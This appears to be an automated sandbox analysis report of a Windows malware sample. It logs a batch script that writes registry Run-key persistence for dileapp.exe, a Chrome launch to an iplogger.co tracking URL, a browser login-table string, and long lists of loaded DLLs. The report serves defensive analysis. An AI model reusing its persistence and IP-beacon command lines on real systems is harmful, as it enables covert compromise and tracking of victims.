Windows Analysis Report
file.exe

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1744:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\s.bat" "

Source: C:\Users\user\Desktop\file.exe	Command line argument: *x~	0_2_007AC131
Source: C:\Users\user\Desktop\file.exe	Command line argument: *a}	0_2_007AC131
Source: C:\Users\user\Desktop\file.exe	Command line argument: 8y~	0_2_007AC131
Source: C:\Users\user\Desktop\file.exe	Command line argument: sfxname	0_2_007AC131
Source: C:\Users\user\Desktop\file.exe	Command line argument: sfxstime	0_2_007AC131
Source: C:\Users\user\Desktop\file.exe	Command line argument: STARTDLG	0_2_007AC131

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

File read: C:\Windows\win.ini

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: dileapp.exe, 0000000F.00000003.1984343715.0000000005C38000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983801001.0000000005C6F000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 28%

Source: dileapp.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: dileapp.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: dileapp.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: dileapp.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\s.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\dileapp.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\dileapp.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\Netstat\dileapp.exe C:\Users\Public\Netstat\dileapp.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.co/1tJFB4
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2324,i,4398833279190329867,13329652877224492584,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Users\Public\Netstat\dileapp.exe "C:\Users\Public\Netstat\dileapp.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3472 --field-trial-handle=2324,i,4398833279190329867,13329652877224492584,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Users\Public\Netstat\dileapp.exe "C:\Users\Public\Netstat\dileapp.exe"
Source: unknown	Process created: C:\Users\Public\Netstat\dileapp.exe "C:\Users\Public\Netstat\dileapp.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\s.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\dileapp.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\dileapp.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\Netstat\dileapp.exe C:\Users\Public\Netstat\dileapp.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.co/1tJFB4	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2324,i,4398833279190329867,13329652877224492584,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3472 --field-trial-handle=2324,i,4398833279190329867,13329652877224492584,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Detected unpacking (changes PE section rights)

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2210104 > 1048576

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
